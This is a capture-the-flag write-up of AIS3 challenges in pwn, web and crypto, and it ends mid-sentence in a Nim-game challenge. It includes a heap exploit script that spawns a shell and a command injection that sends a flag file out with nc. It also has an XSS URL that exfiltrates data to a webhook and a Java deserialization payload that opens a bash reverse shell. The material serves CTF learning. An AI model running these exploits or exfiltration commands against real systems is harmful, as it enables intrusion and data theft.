tcache(0x110) s6 -> s5 -> s4 -> s3 -> s2 -> s1 -> s0
fastbin(0x30) p7
fastbin(0x110) s7
Next, create a point with namelen = 32
, its point will be p6
, and the name will be p5
. Writing and then reading the fifth point's value achieves arbitrary memory read.
Then, create 8 more points with namelen = 256
, add a different size point exceeding fastbin, e.g., namelen = 128
, free 0~7, then free the namelen = 128
point, placing s7
in the unsorted bin. Reading the seventh point's value leaks libc address.
If you try freeing in the arbitrary memory read state, it errors because it first frees the name. Placing the arbitrary memory read address on a fake chunk allows it to enter tcache, then malloc
retrieves the fake chunk for heap OOB write.
OOB write allows writing __free_hook
in a tcache chunk's next (tcache corruption), then malloc
writes system
to __free_hook
. Setting a chunk's name to /bin/sh
and freeing it executes system('/bin/sh')
.
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
# p = gdb.debug("./chal", "c")
# p = process("./chal")
p = remote("quiz.ais3.org", 5005)
def add_record(x: int, y: int, namelen: int, name: bytes):
p.sendlineafter(b"> ", "1")
p.sendlineafter(b"x: ", str(x))
p.sendlineafter(b"y: ", str(y))
p.sendlineafter(b"length: ", str(namelen))
if len(name) == namelen:
p.sendafter(b"name: ", name)
else:
p.sendlineafter(b"name: ", name)
def delete_record(idx: int):
p.sendlineafter(b"> ", "2")
p.sendlineafter(b"index: ", str(idx))
def telescope(idx: int):
p.sendlineafter(b"> ", "4")
p.sendlineafter(b"index: ", str(idx))
p.recv(1) # removes single '\n'
# idk wtf am I doing, but it works anyways
add_record(0, 0, 0x10, p64(0) + p64(0x411)) # house of spirits
for i in range(1, 9):
add_record(i, i, 256, str(i))
add_record(9, 9, 128, "8") # prevent consolidation
for i in range(1, 9):
delete_record(i)
delete_record(9)
# leak a heap address
telescope(1)
p.recvuntil(b"- (")
some_heap = int(p.recvline().decode().split(",")[0])
print("some_heap", hex(some_heap))
# leak libc address
telescope(8) # unsorted
libc = (int.from_bytes(p.recv(6), "little") & ~0xFFF) - 0x1EB000
print("libc", hex(libc))
__unused = some_heap + 0xA40
add_record(
10, 10, 256, p64(0) + p64(0x50) + b"testing chunk" * 10
) # I forgot why I tried this, but removing it will break other parts
print(hex(__unused))
# address to the start of house of spirits header
deadbeef = some_heap + 0x2C0
print(hex(deadbeef))
# editing value of 5, so free 5 will frees `deadbeef + 0x10`
add_record(
11, 11, 32, b"0" * 8 + p64(1234) + p64(5678) + p64(deadbeef + 0x10)
)
delete_record(5)
# offset to next of an appropriate freed tcache chunk
add_record(
12, 12, 0x400, b"/bin/sh\0" * (0x150 // 8) + p64(libc + 0x1EEB28) # __free_hook
)
print("__free_hook", hex(libc + 0x1EEB28))
add_record(13, 13, 32, str(13)) # removing unneeded chunks from tcache
add_record(
87, 87, 32, p64(libc + 0x55410)
) # malloced name is __free_hook, so write system in
delete_record(
5
) # since padding are b'/bin/sh\0', randomly deletes one of them will be free(b'/bin/sh\0'), which will trigger __free_hook
p.interactive()
Flag: AIS3{345y_h34p_345y_l1f3}
Web
ⲩⲉⲧ ⲁⲛⲟⲧⲏⲉꞅ 𝓵ⲟ𝓰ⲓⲛ ⲣⲁ𝓰ⲉ
You can use username
and password
for JSON injection because json.loads
takes the last value for duplicate keys.
For example, setting username
to c8763
and password
to ", "showflag": true, "password": null, "a": "
successfully logs in because the JSON becomes:
{"showflag": false, "username": "c8763", "password": "", "showflag": true, "password": null, "a": ""}
Flag: AIS3{/r/badUIbattles?!?!}
HaaS
This challenge has a simple SSRF. If the status code differs from the expected status, it displays the content, but it blocks localhost
or 127.0.0.1
. You can bypass this by creating an A record pointing to 127.0.0.1
or using other IPv4 representations like 127.1
. Using such a request retrieves the flag:
curl "http://quiz.ais3.org:7122/haas" --data "url=http://127.1/&status=1"
Flag: AIS3{V3rY_v3rY_V3ry_345Y_55rF}
【5/22 重要公告】
First, you can use LFI to read the file: curl "http://quiz.ais3.org:8001/?module=php://filter/read=convert.base64-encode/resource=modules/api"
modules/api.php
content:
<?php
header('Content-Type: application/json');
include "config.php";
$db = new SQLite3(SQLITE_DB_PATH);
if (isset($_GET['id'])) {
$data = $db->querySingle("SELECT name, host, port FROM challenges WHERE id=${_GET['id']}", true);
$host = str_replace(' ', '', $data['host']);
$port = (int) $data['port'];
$data['alive'] = strstr(shell_exec("timeout 1 nc -vz '$host' $port 2>&1"), "succeeded") !== FALSE;
echo json_encode($data);
} else {
$json_resp = [];
$query_res = $db->query("SELECT * FROM challenges");
while ($row = $query_res->fetchArray(SQLITE3_ASSOC)) $json_resp[] = $row;
echo json_encode($json_resp);
}
Inside, you can find an SQL injection, but querying the database doesn't reveal the flag. Instead, control $data['host']
for command injection. Although spaces are replaced, ${IFS}
can substitute spaces, and you can send data to your server:
import requests
sh = "google.com' 80;cat /flag_81c015863174cd0c14034cc60767c7f5 | nc YOUR_IP PORT;#'"
payload = (
r"0 union select 'elite','"
+ sh.replace(" ", "${IFS}").replace("'", "''")
+ r"',1234"
)
print(payload)
resp = requests.get(
"http://quiz.ais3.org:8001", params={"module": "modules/api", "id": payload}
)
data = resp.json()
print(data)
print(f"timeout 1 nc -vz '{data['host']}' '{data['port']}' 2>&1")
Flag: AIS3{o1d_skew1_w3b_tr1cks_co11ect10n_:D}
XSS Me
This challenge allows placing content in a <script>
string via the message
parameter. Testing shows that characters like '
, "
, and \
are properly escaped, preventing escaping the JS string for XSS. However, inputting <script>alert(1)</script>
stops the browser from executing the original JS because the browser prioritizes </script>
as the end, even within a JS string, enabling XSS.
The message
has a length limit, so using <svg/onload>
with location=location.hash.slice(1)
and placing javascript:...
in the hash avoids exceeding the length.
Final URL:
http://quiz.ais3.org:8003/?message=%3C/script%3E%3Csvg%20onload=location=location.hash.slice(1)%3E#javascript:fetch('/getflag').then(r=%3Er.text()).then(x=%3Elocation='https://webhook.site/b8950183-c7a9-431d-8efb-005d738c5798?a='+x)
Flag: AIS3{XSS_K!NG}
Cat Slayer ᴵⁿᵛᵉʳˢᵉ
This challenge involves Java deserialization. Although only .class
files are provided, using a Decompiler produces highly readable results that can be compiled.
In the Maou
class, you can see custom serialization code, and it constructs classes and calls methods using reflection based on the data. You can try making it call Runtime.exec
.
Main.java
:
package com.cat;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
public class Main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Maou player = new Maou("elite");
player.summonCats(3);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(bos);
outputStream.writeObject(player);
var token = Base64.getEncoder().encodeToString(bos.toByteArray());
System.out.println(token);
}
}
package com.cat;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class Maou implements Serializable {
String[] DEMON_NAMES = new String[]{ "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9ZT1VSX0lQL1BPUlQgMD4mMQ==}|{base64,-d}|{bash,-i} && echo 1 # 1"};
String CAT_NAME_SETTER = "exec";
String name = "(unnamed)";
ArrayList<Cat> cats = new ArrayList<>();
public Maou(String name) {
this.name = name;
}
public void summonCats(int num) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
String[] catTypes = {"BabyCat", "NormalCat", "SuperCat"};
for (int i = 0; i < num; i++) {
String type = catTypes[(int) (Math.random() * 3.0D)];
this.cats.add((Cat) Class.forName("com.cat." + type)
.getConstructor(new Class[]{String.class}).newInstance(new Object[]{genCatName() + "-" + type}));
}
}
public String getName() {
return this.name;
}
public ArrayList<Cat> getCats() {
return this.cats;
}
private String genCatName() {
int len = this.DEMON_NAMES.length;
return this.DEMON_NAMES[(int) (Math.random() * len)];
}
private void writeObject(ObjectOutputStream stream) throws IOException {
stream.writeObject(this.DEMON_NAMES);
stream.writeObject(this.CAT_NAME_SETTER);
stream.writeObject(this.name);
ArrayList<String> catsClass = new ArrayList<>();
// for (Cat cat : this.cats){
// catsClass.add(cat.getClass().getName());
// }
catsClass.add("java.lang.Runtime");
stream.writeObject(catsClass);
}
private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
this.DEMON_NAMES = (String[]) stream.readObject();
this.CAT_NAME_SETTER = (String) stream.readObject();
this.name = (String) stream.readObject();
this.cats = new ArrayList<>();
ArrayList<String> catClsStrings = (ArrayList<String>) stream.readObject();
for (String catCls : catClsStrings) {
String[] parts = catCls.split("\\.");
String typeName = parts[parts.length - 1];
Class<?> cls = Class.forName(catCls);
Method method = cls.getMethod(this.CAT_NAME_SETTER, String.class);
Constructor<?> constructor = cls.getDeclaredConstructor();
constructor.setAccessible(true);
Object cat = constructor.newInstance();
this.cats.add((Cat) cat);
}
}
}
Using this method, you can generate an RCE payload, placing the command to execute in DEMON_NAMES
. Since Runtime.exec
processes certain characters, I used this site to format the command for Runtime.exec
. The command is a simple reverse shell, and you can listen on your server with nc -vl $PORT
.
Flag: AIS3{maou_lucifer_meowmeow}
Crypto
Microchip
This challenge is straightforward. With the known flag format, you can obtain the necessary keys to decrypt the entire message:
s = b"=Js&;*A`odZHi'>D=Jsi-DYf>Uy'yuyfyu<)Gu"
toks = [s[i : i + 4][::-1] for i in range(0, len(s), 4)]
keys = [b - (a - 32) for a, b in zip(b"AIS3", toks[0])]
print(
"".join(
sum([[chr(((a - b) % 96) + 32) for a, b in zip(x, keys)] for x in toks], [])
)
)
Flag: AIS3{w31c0me_t0_AIS3_cryptoO0O0o0Ooo0}
ReSident evil villAge
The goal is to sign a specific target , and the system allows signing any .
First, sign and to get and . Multiplying the two results in , and since , is a valid signature.
Flag: AIS3{R3M383R_70_HAsh_7h3_M3Ssa93_83F0r3_S19N1N9}
Republic of South Africa
This challenge uses a strange keygen function to calculate a count
, then generates two public keys n=pq
such that p+q == count
, and encrypts the flag with RSA.
The count
is calculated using the number of elastic collisions in a physical simulation. Since the digits
are large, direct calculation is too slow. If you've watched 3b1b's Why do colliding blocks compute pi?, you know that count
is the first 153 digits of : 31415...
.
Knowing and , you can solve the quadratic equation to find the roots and :
from Crypto.Util.number import long_to_bytes
from gmpy2 import isqrt
count = 314159265358979323846264338327950288419716939937510582097494459230781640628620899862803482534211706798214808651328230664709384460955058223172535940812848 # first 153 digits of pi
n = 23662270311503602529211462628663973377651035055221337186547659666520360329842954292759496973737109678655075242892199643594552737098393308599593056828393773327639809644570618472781338585802514939812387999523164606025662379300143159103239039862833152034195535186138249963826772564309026532268561022599227047
e = 65537
c = 11458615427536252698065643586706850515055080432343893818398610010478579108516179388166781637371605857508073447120074461777733767824330662610330121174203247272860627922171793234818603728793293847713278049996058754527159158251083995933600335482394024095666411743953262490304176144151437205651312338816540536
def quadratic(a, b, c):
D = b ** 2 - 4 * a * c
return (-b + isqrt(D)) // (2 * a), (-b - isqrt(D)) // (2 * a)
p, q = quadratic(1, -count, n)
assert p * q == n
d = pow(e, -1, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m).decode())
Flag: AIS3{https://www.youtube.com/watch?v=jsYwFizhncE}
Microchess
The challenge is to play a Nim Game with a bot. It initially gives you a losing position, so there is no regular way to win.
You can see that it has a save and load game feature, where a position is represented as a comma-separated list of numbers: 8,7,6,3
, followed by a custom hash